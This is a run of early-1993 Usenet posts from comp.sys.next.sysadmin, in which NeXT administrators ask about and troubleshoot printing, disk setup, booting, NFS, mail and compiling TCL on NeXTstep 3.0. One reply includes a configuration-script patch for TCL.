Newsgroups: comp.sys.next.sysadmin From: timbuck@borg.lib.vt.edu (Tim Buck) Subject: Using lpr with PC/TCP?? Message-ID: <1993Feb8.034333.8624@ecsvax.uncecs.edu> Sender: usenet@ecsvax.uncecs.edu (News Administrator) Organization: Los Alamos National Laboratory, NM Date: Mon, 8 Feb 1993 03:43:33 GMT I'm having trouble printing to an HP Deskjet 500 connected to my NeXT from a DOS machine running PC/TCP v.2.05. I'm using djf v.2.03 to drive the DeskJet. The problem I have is this: any PostScript file I print using "lpr" from the NeXT works fine; the PostScript code is properly interpreted and I get the expected printed results. But when I use "lpr" from the DOS machine, the PostScript code is printed, not the interpreted results. The PS code is never being processed by the djf filter. Can anyone offer me a solution for this? Thanks in advance. -- Tim Buck rri!tim@vtserf.cc.vt.edu Recognition Research, Inc. timbuck@borg.lib.vt.edu Blacksburg, VA 24060 ------------------- Standard disclaimers apply -------------------
Newsgroups: comp.sys.next.sysadmin From: nathan@laplace.csb.yale.edu (Nathan F. Janette) Subject: Re: Dwriting to 2-bit color Message-ID: <1993Feb8.044236.26654@cs.yale.edu> Sender: news@cs.yale.edu (Usenet News) Organization: Yale University, Department of Computer Science, New Haven, CT References: <1l431t$foj@transfer.stratus.com> Date: Mon, 8 Feb 1993 04:42:36 GMT In article <1l431t$foj@transfer.stratus.com> dan@quiensabe.az.stratus.com (Dan Danz) writes: > Sean Luke writes > > We've upgraded to 3.0, and have found the Workspace Manager...slow and > > ponderous when scrolling or doing screen updates. We have no color machines > > in our little network out here. Can anyone tell me what the dwrite command > > was to set an application (in particular, the Workspace Manager, Mail, > > Preferences, etc.) to 2-bit? > > dwrite GLOBAL NXWindowDepthLimit TwoBitGray Aren't the windows automatically adjusted to the available display? I think so! I think you are just experiencing the bug-fix in NeXTstep 3.0 that eliminates the pesky instantaneous browser response in NeXTstep 2.1 ;-) -- Nathan Janette PPP link from hilbert.csb.yale.edu Please reply to: nathan@laplace.csb.yale.edu (NeXT)
From: william_w@verifone.com Newsgroups: comp.unix.admin,comp.sys.next.sysadmin Subject: Re: monitoring a UPS from a serial port Message-ID: <1993Feb7.172444.4810@verifone.com> Date: 7 Feb 93 17:24:44 -1000 References: <1993Jan12.014929.21006@murdoch.acc.Virginia.EDU> <C0wn95.41L@boi.hp.com> Followup-To: comp.unix.admin,comp.sys.next.sysadmin Organization: VeriFone Inc., Honolulu HI I'll be very appreciate if you can Email me all about it. Thanks in advance. William Wang ========================================================= In article <C0wn95.41L@boi.hp.com>, guy@boi.hp.com () writes: > > -- > > I've done it on HP-UX systems. I have a C program that monitors a rs232 > port. It logs power fail events and will call a shutdown script when > the battery gets low. The program is started by the rc script on boot > up. Email if your interested in the details. > > > --|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|-- > Guy Burnham, Boise Surface Mount Center, Hewlett Packard Co. Inc. > guy@hpbs5194.boi.hp.com 208(323-3355) > > I WORK TO LIVE ... I LIVE FOR TRAINS, and OLD TRUCKS, and OLD TRACTORS and .. > > Disclaimer: Don't you be the only one to take me seriously! > --|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin From: cowboy@trans.csuohio.edu (Joe Rosenfeld) Subject: Re: Help with TCL Message-ID: <1993Feb8.113259.697@news.csuohio.edu> Followup-To: comp.sys.next.misc,comp.sys.next.sysadmin Sender: news@news.csuohio.edu (USENET News System) Organization: Cleveland State University References: <1993Feb8.010632.7546@muddcs.claremont.edu> Date: Mon, 8 Feb 1993 11:32:59 GMT Jon Vestal (jonv@ptnext.claremont.edu) wrote: : Hi, : Can someone give me some insight on how to compile TCL for NS 3.0. I am : trying to get Expect up and running and it needs TCL. Thanks. : Jon Vestal : Systems Technician : Pitzer College : jonv@ptnext.clarmeont.edu (NeXT Mail) Yes, me too. Please POST if you have the answer. Thanks, Joe | Joe Rosenfeld cowboy@trans.csuohio.edu | CSU Law Library joer@inca.law.csuohio.edu | "We look for things ... to make us go!"
From: dgaw@beandog (david gaw) Newsgroups: comp.sys.next.sysadmin Subject: problem with printouts after 3.0 upgrade Date: 8 Feb 1993 05:34:45 GMT Organization: Coactive Aesthetics Inc. Message-ID: <1l4rdlINNd1h@disc.coactive.com> We recently upgraded our machines to 3.0, and now ALL printouts (from all applications, including the PrintManager Test) are slipped down the page by about 3/4". I can't seem to figure out why. Any ideas ?? David. -- David Gaw Coactive Aesthetics dgaw@coactive.com P.O. Box 425967, San Francisco, CA 94142 netcom!coactive!dgaw voice:(415)626-5152 fax:(415)626-6320
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware From: dickson@iris.psu.edu (Scott Dickson) Subject: How to attach Micropolis 1924-21 Message-ID: <jy21Hvmtgc@atlantis.psu.edu> Sender: news@atlantis.psu.edu (Usenet) Organization: Penn State Center for Academic Computing Date: Mon, 08 Feb 93 15:05:17 GMT I know this must be a FAQ, but I just inherited a NeXT Station running NS 2.0 and was then given a Micropolis 1924-21 2.4GB disk and was told to make it work. How does one go about labeling and building filesystems on the Micropolis under NS 2.0? --SCott Dickson dickson@iris.psu.edu
Newsgroups: comp.sys.next.sysadmin From: woo@ornl.gov (John W. Wooten) Subject: Replaced boot disk, now have to bsd Message-ID: <1993Feb8.155550.14636@ornl.gov> Sender: usenet@ornl.gov (News poster) Organization: Oak Ridge National Laboratory Date: Mon, 8 Feb 1993 15:55:50 GMT One of my new NeXTStation Turbos arrived with a bad internal disk. We got a replacement from NeXT and installed it. It has the system on it and so forth. Somehow though it always comes up with the Monitor Window and the statement "Can't located default boot device". I have to do a NeXT> bsd to get it started and it's fine. How do I set the default boot device to be the new internal drive? - - - - - - - - - J. W. Wooten
Newsgroups: comp.sys.next.sysadmin From: mark@cyantic.com (Mark T. Dornfeld) Subject: Re: FAX format conversion? Organization: CYANTIC Systems Date: Mon, 08 Feb 1993 12:57:01 GMT Message-ID: <1993Feb08.125701.12120@cyantic.com> References: <C23BJG.Mu8@news.cso.uiuc.edu> In article <C23BJG.Mu8@news.cso.uiuc.edu> gmk@pegasos.ccsr.uiuc.edu (Gottfried Mayer-Kress) writes: >It looks like FAXes are implicitely defining a new image format standard. >Is there an elegant way to convert images into fax format WITHOUT sending them >through a FAX? PostScript may very well be the foundation of the next FAX standard. Adobe is pushing their PostScript for FAX standard to all the modem/fax makers and I believe the CCITT has slated PS for the next level standard. While I have enjoyed the benefits of FAX for many years I have always believed that email was the way to go. The new standard will make this much easier since compressed ASCII will be transmitted rather than graphic bits. Viewing FAXes in a character environment is still impossible though. -- Mark T. Dornfeld Voice: (416) 234-9048 CYANTIC Systems Facsimile: (416) 234-0477 101 Subway Crescent Suite 2103 Email: mark@cyantic.com
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin From: verket@venice.sedd.trw.com (Paul Verket) Subject: Re: Help with TCL Message-ID: <1993Feb8.161337.7338@venice.sedd.trw.com> Sender: news@venice.sedd.trw.com (USENET News) Organization: TRW Systems Engineering & Development Division, Carson, CA References: <1993Feb8.010632.7546@muddcs.claremont.edu> Date: Mon, 8 Feb 1993 16:13:37 GMT Jon Vestal (jonv@ptnext.claremont.edu) wrote: : Can someone give me some insight on how to compile TCL for NS 3.0. I am : trying to get Expect up and running and it needs TCL. Thanks. If you're lucky enough to have an OD drive and 2.0: - boot from the 2.0 OD - mount your 3.0 hard disk - compile TCL - reboot from hard disk. Love them ODs! Paul Verket (NeXTmail ok)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc From: cl50@muddnext9.cc.columbia.edu (Chengi Lin) Subject: system error Message-ID: <1993Feb8.152811.17312@news.columbia.edu> Followup-To: comp.sys.next.sysadmin Keywords: error, scsi Sender: usenet@news.columbia.edu (The Network News) Organization: Columbia University Date: Mon, 8 Feb 1993 15:28:11 GMT Hi, I have the following problem and hope you can help me out. I have the CD-ROM attatches directly to the cube and a cubefloppy drive follows the CD-ROM because the cubefloppy has terminator. Their back panel numbers are 3 and 4 respectively. I turn on the terminator switch on the cubefloppy drive. Everything goes fine with start up. But after a certin time (~10 hours), the system console begins to give me the following error message, sd2 (4,0): ERROR op:0x0 sd_state:2 scsi status:0x0 sd2 (4,0): ERROR op:0x0 sd_state:2 scsi status:0x0 sd2 (4,0): ERROR op:0x0 sd_state:2 scsi status:0x0 goes on and on with the same message I am not an Unix expert but my guess is error reading the second scsi device and the device number is 4. With the error I can not acess the floppy drive even though the CD-ROM drive still works fine. I never had the problem before when I just had the cubefloopy drive. I can solve the problem with reboot, but I don't like to reboot my machine twice a day. Does anyone has a better solution. Please e-mail me as I don't read the group oftern. Many thanks in advance. -- [] James C. Lin [] SEAS, Columbia University [] Internet: [] cl50@columbia.edu (No NeXTmail) [] UUCP: [] James_Lin@gun.com (NeXTmail, Yeah!)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.software From: waldvoge@nessie.cs.id.ethz.ch (Marcel Waldvogel) Subject: Re: Binaries which would like to be run as root Message-ID: <1993Feb8.175721.16536@bernina.ethz.ch> Sender: news@bernina.ethz.ch (USENET News System) Organization: Swiss Federal Institute of Technology (ETH), Zurich, CH References: <1993Feb5.235524.21620@blaze.cs.jhu.edu> <1kv6avINNjn7@stephen.cs.ubc.ca> Date: Mon, 8 Feb 1993 17:57:21 GMT In article <1kv6avINNjn7@stephen.cs.ubc.ca> sritchie@cs.ubc.ca (Stuart Ritchie) writes: >Yes, beware of Oxyd! You will get *no work done* until you complete >the 10 levels. Trust me. By then, you'll be so hopelessly addicted >that sending $42 for the book is no problemo. And after you have the book, you won't stop before you haven't finished level 100 (it's really addicting!). >Great game BTW. Probably the best on NS right now. Of course now >that NeXT engineers are busy writing games (XoX), this picture >could change :-) The thing I really hate is that it writes directly to the screen (and it doesn't even work if /dev/vid0 is writable, that's what I hate most about it running as root). It seems to be a direct (binary?) port from the Atari ST (try to move the window around before you start playing :-)). These few moving objects shouldn't give _ANY_ time problems when doing it with the window server and it would even run on all NeXT machines! I love the game, but I really hate that lousy port! -Marcel
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin From: waldvoge@nessie.cs.id.ethz.ch (Marcel Waldvogel) Subject: Re: Problems with recvfrom(2) Message-ID: <1993Feb8.182345.17475@bernina.ethz.ch> Keywords: recvfrom, UDP Sender: news@bernina.ethz.ch (USENET News System) Organization: Swiss Federal Institute of Technology (ETH), Zurich, CH References: <1993Feb4.091953.21794@udel.edu> <1ksp95INN573@ni.umd.edu> Date: Mon, 8 Feb 1993 18:23:45 GMT In article <1ksp95INN573@ni.umd.edu> louie@sayshell.umd.edu (Louis A. Mamakos) writes: >I took a quick look in my Stevens book, but didn't find the example in >question. Could you be more specific? If you are getting a "Bad >Address" error, could it be that your passing a bad buffer for >sockaddr_in pointer to recvfrom() ? A common problem is to pass the length, not the address of a variable containing the length. This might be a problem. -Marcel
Newsgroups: comp.sys.next.sysadmin From: waldvoge@nessie.cs.id.ethz.ch (Marcel Waldvogel) Subject: Re: Port 2453 Message-ID: <1993Feb8.190322.18647@bernina.ethz.ch> Sender: news@bernina.ethz.ch (USENET News System) Organization: Swiss Federal Institute of Technology (ETH), Zurich, CH References: <1kibqhINNj27@usenet.INS.CWRU.Edu> Date: Mon, 8 Feb 1993 19:03:22 GMT In article <1kibqhINNj27@usenet.INS.CWRU.Edu> mcn@b62103.student.cwru.edu writes: > Anyone know what port 2453 is? It's not in services, and all NeXTs seem >to answer on it. (Also, some bugs exist with it that by hitting the right >combination of characters, you can crash the target machine)... This port is used by the Mach nmserver. -Marcel
From: sulistio@sutro.SFSU.EDU (Sulistio Muljadi) Newsgroups: comp.sys.next.sysadmin Subject: 10baseT Message-ID: <1993Feb8.121926.4096@nic.csu.net> Date: 8 Feb 93 20:19:25 GMT Organization: San Francisco State University Hi, I am trying to hook up my NeXT to a 10baseT network, but my NeXT won't recognize that it's connected to the network. is there something that I should configure to use the 10baseT?? Thank you -- Mul | Alt. address: sulistio@futon.sfsu.edu sulistio@sutro.sfsu.edu | NeXTmail -> sarong!sulistio@cs.sfsu.edu #include "std/disclaimer.h" | sulistio@chop.isca.uiowa.edu >Genius is one per cent inspiration and ninety-nine per cent perspiration.
From: richard@elroy.Jpl.Nasa.Gov (Richard Weidner) Newsgroups: comp.sys.next.sysadmin Subject: New Next (How do you boot the thing?) Date: 6 Feb 1993 19:39:27 GMT Organization: Image Analysis Systems Group, JPL Distribution: ca Message-ID: <1l145fINN5qn@elroy.jpl.nasa.gov> I just got a NeXTstation Turbo Color. I was trying to move it onto a nis heterogeneous network when I found my local network box is not working. I found out after changing the host manager. Now I can't get the damn NeXT up. It stays in checking system files forever. I found out that command ~ does nothing in the power up. (The ~ key is not on the numeric keypad. Anybody there actually look at the computer?) Anybody know how to get a NeXT into the ROM Monitor to overwrite the system files or get the damn thing up at all? I looked at the FAQ and the user's guide/owner's guide/ release notes. I even called the NeXT 800 number but the guy who answered said they had nobody there who knew anything about a NeXT. They did not even know what the keyboard looked like. ("We are concerned about the length of time you are on hold." Yeah right. How about getting somebody who has at least seen one of your products.) Thanks
From: gdrew@cs.umd.edu (Greg Drew) Newsgroups: comp.sys.next.sysadmin Subject: I'm looking for an enhanced password program. Message-ID: <64124@mimsy.umd.edu> Date: 8 Feb 93 21:08:31 GMT Sender: news@mimsy.umd.edu Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742 Does anyone know of a good secure password program for the NeXT? I would like something along the lines of passwd+, which could replace the command line "passwd" program, and also the password option in the preferences app (yes, I know I am probably dreaming, but it would be difficult to guarantee that all the users would only use the command line). Thanks! If it is a FAQ, could you point me toward it - I have not seen one for this group yet. -- GDD (new NeXT admin) -- ---------------------------------------------------------------------------- Greg Drew | N3MXX gdrew@trellis.cs.umd.edu | ----------------------------------------------------------------------------
From: gdrew@cs.umd.edu (Greg Drew) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software Subject: news on the NeXT Message-ID: <64125@mimsy.umd.edu> Date: 8 Feb 93 21:19:54 GMT Sender: news@mimsy.umd.edu Followup-To: comp.sys.next.sysadmin Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742 Could someone point me in the right direction for installing netnews software on a NeXT. I have heard that there are reader applications (NewsGrazer?) out there, but I am not sure where to find them. Also, will one of the standard news software packages run on the NeXT ralatively painlessly? Thanks. -- GDD (new NeXT sysadmin) -- ---------------------------------------------------------------------------- Greg Drew | N3MXX gdrew@trellis.cs.umd.edu | ----------------------------------------------------------------------------
Newsgroups: comp.sys.next.sysadmin From: t_pascal@oxy.edu. (C. Regis Wilson) Subject: Backspace Message-ID: <1993Feb8.210328.12337@cheshire.oxy.edu> Sender: usenet@cheshire.oxy.edu (System Account) Organization: Occidental College, Los Angeles, CA. USA Distribution: usa Date: Mon, 8 Feb 1993 21:03:28 GMT We recently upgraded to 3.0, and I thought that BackSpace was bundled... I haven't found it anywhere. Does anyone know where it should be, or where I can to snarf? -- --------- T. Pascal, King of Pascal | "He travels fastest who travels alone, 1600 Campus Road, Box 829 | but not when the frost drops below zero Los Angeles, CA 90041 | fifty degrees or more." | -Old eskimo saying
Newsgroups: comp.sys.next.sysadmin From: draphsor@deathstar.Stanford.EDU (Matt Rollefson) Subject: Re: Remote Mail? Message-ID: <1993Feb8.214717.11184@leland.Stanford.EDU> Sender: news@leland.Stanford.EDU (Mr News) Organization: Residential Computing, Stanford University References: <C23B1y.Mo7@news.cso.uiuc.edu> Date: Mon, 8 Feb 93 21:47:17 GMT In comp.sys.next.sysadmin gmk@pegasos.ccsr.uiuc.edu (Gottfried Mayer-Kress) writes: >I would like to read my mail that I have on a remote machine. >I tried: >open Mailboxes/Active.mbox -NXHost pegasos.ccsr.uiuc.edu >but that didn't work. >Any suggestions? What you did was tell the open command to execute on NXHost pegasos.ccsr.uiuc.edu - you probably ended up seeing the Active.mbox that's stored on the host you were on at the time. What you should do instead is this: /NextApps/Mail.app/Mail -NXHost pegasos.ccsr.uiuc.edu Then if you want to read mail from a different mbox, use the utilities within Mail.app to do so. open is not the command to use when NXHost'ing. Rollie -- Matt Rollefson ("Rollie") draphsor@deathstar.stanford.edu Residential Computing, Stanford University NeXTmail accepted
From: richard@elroy.Jpl.Nasa.Gov (Richard Weidner) Newsgroups: comp.sys.next.sysadmin Subject: please disregard my previous message Date: 6 Feb 1993 21:59:19 GMT Organization: Image Analysis Systems Group, JPL Distribution: ca Message-ID: <1l1cbnINNcd5@elroy.jpl.nasa.gov> I previously posted about finding how to boot the root monitor. I found a way to get around it so please ignore my previous message thank you. For those of you interested in trivia. I found a security hole in NeXTstep 3.0 that lets you into mach even while the rc scripts are running. That let me repair the damage and get it up. I then got to read the documentation some more on startshut. (It is nice that is online and not in the external documentation where you need it.) The on-line documentation is more precise than the printed "stuff". (I am guessing. I still have not got into the root monitor.) The printed "stuff" says hit command ~ right when the test screen shows. The on-line documentation says hit command ~ during the first milli-seconds after it switchs to loading from disk. If you wait too long the command ~ asks if you want to restart or power off. Funny how that little distinction makes a big difference. But hey, exhaustive typing every key is normal sys admin procedure isn't it? - A Little Bit Annoyed at NeXT
Newsgroups: comp.sys.next.sysadmin From: draphsor@deathstar.Stanford.EDU (Matt Rollefson) Subject: Re: Getting a Mac to print on the NeXT's printer Message-ID: <1993Feb3.232703.17442@leland.Stanford.EDU> Sender: news@leland.Stanford.EDU (Mr News) Organization: Residential Computing, Stanford University References: <C1Lty0.Itu@unix.portal.com> Distribution: portal Date: Wed, 3 Feb 93 23:27:03 GMT In comp.sys.next.sysadmin eric@whyanext.com (Eric Schwartz) writes: >I am now trying to get a program called "lpr" to run on the Mac, but there >have been a few problems. First, there seem to be some PostScript/font >incompatibilities. Worse, my print queue on the NeXT seems to get clogged up >after the Mac sends things to it (possibly only PostScript files), and it will >only occasionally get the pages printed, _if_ I reboot the machine. >Worse yet, after the Mac has botched up the print queue, I get a message that >reads something like, "Cannot connect to print daemon." when I try to print >from within NeXTSTEP, at which point I must reboot to return things to normal. You don't mention if you're running NeXTSTEP 2.0 or 3.0. We had many of the same problems you describe, with the NeXT's print daemon choking to death on Mac postscript files and only a reboot solving the problem, when we were using 2.0. After upgrading to 3.0 nearly all of these problems have gone away. Rollie -- Matt Rollefson ("Rollie") draphsor@deathstar.stanford.edu Residential Computing, Stanford University NeXTmail accepted
From: sysadm@cs.uh.edu (Sansan Pang) Newsgroups: comp.sys.next.sysadmin Subject: tftpboot fail .... Date: 6 Feb 1993 19:59:26 GMT Organization: University of Houston Sender: pang@cs.uh.edu (Sansan Pang) Distribution: world Message-ID: <1l15auINN9ma@menudo.uh.edu> Keywords: Netboot, tftpboot, boot Originator: pang@beethoven We have a number of NeXT machines which are on a subnet in our network. We have been trying to move these machines from the subnet to our backbone network. We changed the machine addresses in the NetMgr database and in the hostconfig file on the configuration server and in our NIS database on our network's master yellow pages server, but upon attaching the NeXT machines to the backbone network and rebooting, the following happens: - the configuration server boots up perfectly with no problems - all the Netboot clients fail to boot during the tftpboot stage of booting We get an error message similar to the following: tftpboot from hostname [ok] .................................................. .............................................................................. .....................iiiiiiiiiiiiiiiiiiiiiii trap #2 followed by hex digits and a value for the program counter pc, followed by what looks like a register dump, followed by an error message which states: en() command failed If you have any suggestions for us to try in order to solve this problem, or if you need more information, please respond to this posting or send us an e-mail. Thanks, Susan Pang sysadm@cs.uh.edu -- __ __ __ ______________________________________________________ > > | ) | ) Sansan Pang > > | )__| ) System Administrator Office : PGH592 > > | __ ) Dep. of Computer Science, E-Mail : sysadm@cs.uh.edu > ^^^| ) | ) University of Houston. Phone : (713)743-3352 >____/|__) |__) ______________________________________________________
From: louie@sayshell.umd.edu (Louis A. Mamakos) Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin Subject: Re: Help with TCL Date: 8 Feb 1993 22:57:50 GMT Organization: The University of Maryland, College Park Message-ID: <1l6oheINN9tm@ni.umd.edu> References: <1993Feb8.010632.7546@muddcs.claremont.edu> <1993Feb8.161337.7338@venice.sedd.trw.com> In article <1993Feb8.161337.7338@venice.sedd.trw.com> verket@venice.sedd.trw.com (Paul Verket) writes: >Jon Vestal (jonv@ptnext.claremont.edu) wrote: >: Can someone give me some insight on how to compile TCL for NS 3.0. I am >: trying to get Expect up and running and it needs TCL. Thanks. > >If you're lucky enough to have an OD drive and 2.0: >- boot from the 2.0 OD >- mount your 3.0 hard disk >- compile TCL >- reboot from hard disk. > While this will certainly work, you need only screw around with the config shell script to have it look in a few different places and do a few different thing. BEGIN SOAPBOX Once again, you can thank NeXT for reorganizing the C include files for some unknown/unconvincing reason, and breaking software which compiles just fine on most every other UNIX platform. So what does this new header file structure buy me, the developer or user again? Huh? I would report the problems that you have compiling TCL as a bug, as the NeXT is supposed to be 4.3 BSD compatible. It isn't. END SOAPBOX Try patching your TCL 6.5 configure script with this, and see how it works: *** config~ Thu Dec 17 16:25:08 1992 --- config Tue Jan 19 13:03:43 1993 *************** *** 25,35 **** # Directory containing system include files: ! set includeDir="/usr/include" # Archive file containing object code for standard C library: ! set libc="/lib/libc.a" # Makefile to modify: --- 25,36 ---- # Directory containing system include files: ! set includeDir="/usr/include/bsd" ! set include2Dir="/usr/include/ansi" # Archive file containing object code for standard C library: ! set libc="/lib/libsys_s.a" # Makefile to modify: *************** *** 46,52 **** # First make sure that the configuration variables have been # set in a reasonable fashion. ! if ( ! -r $includeDir/stdio.h ) then echo "- ERROR\!\! $includeDir doesn't seem to contain standard system" echo " include files. Please edit config to set the includeDir" echo " variable." --- 47,53 ---- # First make sure that the configuration variables have been # set in a reasonable fashion. ! if ( ! -r $includeDir/stdio.h && ! -r $include2Dir/stdio.h) then echo "- ERROR\!\! $includeDir doesn't seem to contain standard system" echo " include files. Please edit config to set the includeDir" echo " variable." *************** *** 64,74 **** # on IBM systems the exit status is 0 even if there's an error). If there's # a problem, try the operation again with a different set of switches. ! (nm -p $libc > tmp.libc) >& tmp.err set a = `cat tmp.err` \rm tmp.err if ( $#a ) then ! nm -en $libc > tmp.libc endif if ( $status != 0 ) then echo "- ERROR\!\! Nm failed to extract names of system-supplied library" --- 65,75 ---- # on IBM systems the exit status is 0 even if there's an error). If there's # a problem, try the operation again with a different set of switches. ! (nm $libc > tmp.libc) >& tmp.err set a = `cat tmp.err` \rm tmp.err if ( $#a ) then ! nm -p $libc > tmp.libc endif if ( $status != 0 ) then echo "- ERROR\!\! Nm failed to extract names of system-supplied library" *************** *** 118,124 **** set extraHdrs="" foreach i (dirent.h limits.h) \rm -f $i ! if ( ! -r $includeDir/$i ) then cp compat/$i . set extraHdrs="$extraHdrs $i" endif --- 119,125 ---- set extraHdrs="" foreach i (dirent.h limits.h) \rm -f $i ! if ( ! -r $includeDir/$i && ! -r $include2Dir/$i ) then cp compat/$i . set extraHdrs="$extraHdrs $i" endif *************** *** 133,138 **** --- 134,151 ---- set chk1=`grep -c strtol $includeDir/stdlib.h` set chk2=`grep -c strtoul $includeDir/stdlib.h` set chk3=`grep -c strtod $includeDir/stdlib.h` + if ( $chk1 > 0 && $chk2 > 0 && $chk3 > 0 ) then + set stdlibOK=1 + endif + endif + if ( -r $include2Dir/stdlib.h ) then + # The check below is needed because SunOS has a stdlib that + # doesn't declare strtod and other procedures, so we have to + # use ours instead. + + set chk1=`grep -c strtol $include2Dir/stdlib.h` + set chk2=`grep -c strtoul $include2Dir/stdlib.h` + set chk3=`grep -c strtod $include2Dir/stdlib.h` if ( $chk1 > 0 && $chk2 > 0 && $chk3 > 0 ) then set stdlibOK=1 endif
Newsgroups: comp.sys.next.sysadmin From: dkk@cbnewsl.cb.att.com (david.k.kallman) Subject: NFS Dismounts Organization: AT&T Bell Laboratories Date: Mon, 8 Feb 1993 22:31:08 GMT Message-ID: <1993Feb8.223108.25815@cbnewsl.cb.att.com> Folks, My NeXT has some directories NFS mounted from Suns and NeXTs. After the directories are unused for some period, they disappear from df commands, until I cd into them, and then the reappear. Yesterday, I had a problem with one of the directories on the Sun. It was inaccessible until I did a "mount -a" as root. Do I need to change my mount options in netinfo. They're bg,intr,net,timeo=14,mnttimeo=5,noquota for all the mounted directories now. Thanks. Dave Kallman -- ---- Dave Kallman, AT&T, 480 Red Hill Rd., Middletown, NJ 07748 d_k_kallman@att.com, (908)615-2989, fax: (908)615-2507
From: jtod_ltd@uhura.cc.rochester.edu (John "Jeep" Todd) Newsgroups: comp.sys.next.sysadmin Subject: Help! 3.0 root defaults file needed! Summary: I need the defaults files for root on NS3.0 Keywords: Snafu, NeXTStep 3.0, crash Message-ID: <1993Feb8.223023.5292@galileo.cc.rochester.edu> Date: 8 Feb 93 22:30:23 GMT Sender: news@galileo.cc.rochester.edu Organization: University of Rochester - Rochester, New York I just hosed my defaults files for 3.0. I know, I know. Don't even say it. If some kind soul out there would be gracious enough to tar and uuencode the /.NeXT/.* files for me, I'd really appreciate it. You see, I'm now running off the single user mode on my station, which is kind of silly and very hhard to read. Summary of my problem: I came back today to find my Station thinking to itself furiously (lots of disk action) and taking up to 3 minutes to respond to keypresses. I had been fooling around with the defaults last night, and I guess the problem was related to that.... anyway, I halted into the monitor and rebooteed. No luck. I got a cursor, but no loginwindow. So I assume things have to be rebuilt in /.NeXT. I hope. -- John Todd | University of Rochester, Rochester NY USA Earth Milky Way CPU 276686 | "Charracter is whata you arre ina the dark!" - E. Lizardo Rochester NY 14627| Jeeps Bought/Sold * Dictators Overthrown * Bombs Defused jtod@alora.cc.rochester.edu (NeXT mail) jtod_ltd@uhura.cc.rochester.edu
Newsgroups: comp.sys.next.sysadmin From: patrick@jgravesnext.nurs.utah.edu (Patrick E. Langford) Subject: Mail problems Message-ID: <1993Feb9.000940.12480@fcom.cc.utah.edu> Sender: news@fcom.cc.utah.edu Organization: University of Utah Computer Center Date: Tue, 9 Feb 93 00:09:40 GMT As of today I am suffering from a plaque of Mail problems. This started when one of my users recieved a message from someone in the UK. She clicked on that message and mr. Mail.app went boom. Anybody out there had similar problems recently? -- Patrick Langford University of Utah Systems Administrator / Assoc. Programmer College of Nursing patrick@jgravesnext.nurs.utah.edu
Organization: Senior, Chemistry, Carnegie Mellon, Pittsburgh, PA Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin Message-ID: <UfRhQIu00WB=4zVNBO@andrew.cmu.edu> Date: Mon, 8 Feb 1993 16:56:36 -0500 From: Charles William Swiger <infidel+@CMU.EDU> Subject: Re: How to attach Micropolis 1924-21 In-Reply-To: <jy21Hvmtgc@atlantis.psu.edu> Excerpts from netnews.comp.sys.next.hardware: 8-Feb-93 How to attach Micropolis 19.. by Scott Dickson@iris.psu.e > I know this must be a FAQ, but I just inherited a NeXT Station running > NS 2.0 and was then given a Micropolis 1924-21 2.4GB disk and was told > to make it work. > > How does one go about labeling and building filesystems on the Micropolis > under NS 2.0? Simple: Turn off the computer. Attach the 2.4GB disk to the SCSI bus. Make sure that you have proper cabling, termination, and that the SCSI target number on the 2.4GB drive is unique. Also, make sure that the drive's jumpers are properly configured. (Consult the drive's manual, but it's likely that the default settings are correct.). Power on the computer. Log in as root. The Workspace will give you a dialogue box: "Do you want to inizitialize Hard Disk at SCSI target 3" (or something close)...hit 'yes'. The drive will be formatted, the filesystem built, and the disk will be mounted. ----- If you need to do something more complex, read the manpages for: BuildDisk, disk, newfs, mkfs, and tunefs Also, try consulting the System Administrator's manual. Note that now would be a really good time to upgrade your system to NeXTstep 3.0.... -Chuck Charles William Swiger -- CMU...*crunch*! | "Foosh. Aaughh!!" ------------------------------------------+ "Foosh. Aauuggghh!!" AMS & normal mail: infidel@cmu.edu | "Cold spray deodorant...." Failing that: cs4w+@andrew.cmu.edu | NeXTmail: chuck@mon.slip.andrew.cmu.edu | -- Opus, Bloom County [RIP]
Newsgroups: comp.sys.next.sysadmin From: tholland@pars.skidmore.edu (Anthony Holland) Subject: Hard Drive can't read block 88 - - huh ? HELP !! Message-ID: <1993Feb8.231458.29107@scott.skidmore.edu> Keywords: hard drives Sender: news@scott.skidmore.edu (news manager) Organization: Skidmore College, Saratoga Springs NY Date: Mon, 8 Feb 1993 23:14:58 GMT HELP ! I have a gig disk attached to a color turbo NeXT. I was trying to daisy chain the NeXT CDrom drive into the gig drive and now this same (external) gig drive cannot be read, repaired or initialized in the workspace, even when the CDrom drive is unattached ! I tried to run fsck, but it complained it couldn't read block #88 and to run fsck manually, HUH ? I thought I did run it manually, no ? Any suggestions greatly appreciated. The gig drive came from Computer Systems Technology in Irvine, CA and they told me it was probably a seagate drive inside. Any suggestions would be greatly appreciated. I'm not a UNIX whiz (I'm a Music Prof. !), so I need somebody with more expertise. Thanks in advance ! Anthony Holland Skidmore College tholland@pars.skidmore.edu
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc From: woo@ra-next.arc.nasa.gov (Alex Woo x6010 227-6 rm 315) Subject: Can't print after upgrade to NeXTStep 3.0 Message-ID: <1993Feb9.010940.5882@news.arc.nasa.gov> Sender: usenet@news.arc.nasa.gov Organization: NASA Ames Research Center, Moffett Field, CA Date: Tue, 9 Feb 1993 01:09:40 GMT After I upgraded to 3.0, I found that I was unable to print any more, even to remote printers. I have tried the following: 1. Changed the netinfo entries to point to /usr/lib/NextPrinter/Server instead of /usr/lib/NextPrinter. 2. Removed all SharedAs, etc entries. The result is that remote printers are paused and the Local_Printer reports back "Notes all pages were printed" when in fact nothing was printed. For some reason, the PrintManager will not let me create a NeXT 400 dpi Level II Printer device. Why? Why did the location of the transcript items change? Is there something wrong with my "lpd"? Thanks for your help. -- ============================================================== Alex Woo, MS 227-6 woo@ames.arc.nasa.gov NASA Ames Research Center NASAMAIL ACWOO Moffett Field, CA 94035-1000 SPANET 24582::WOO (415) 604-6010 (FAX) 604-4357 {hplabs,decwrl,uunet}!ames!woo 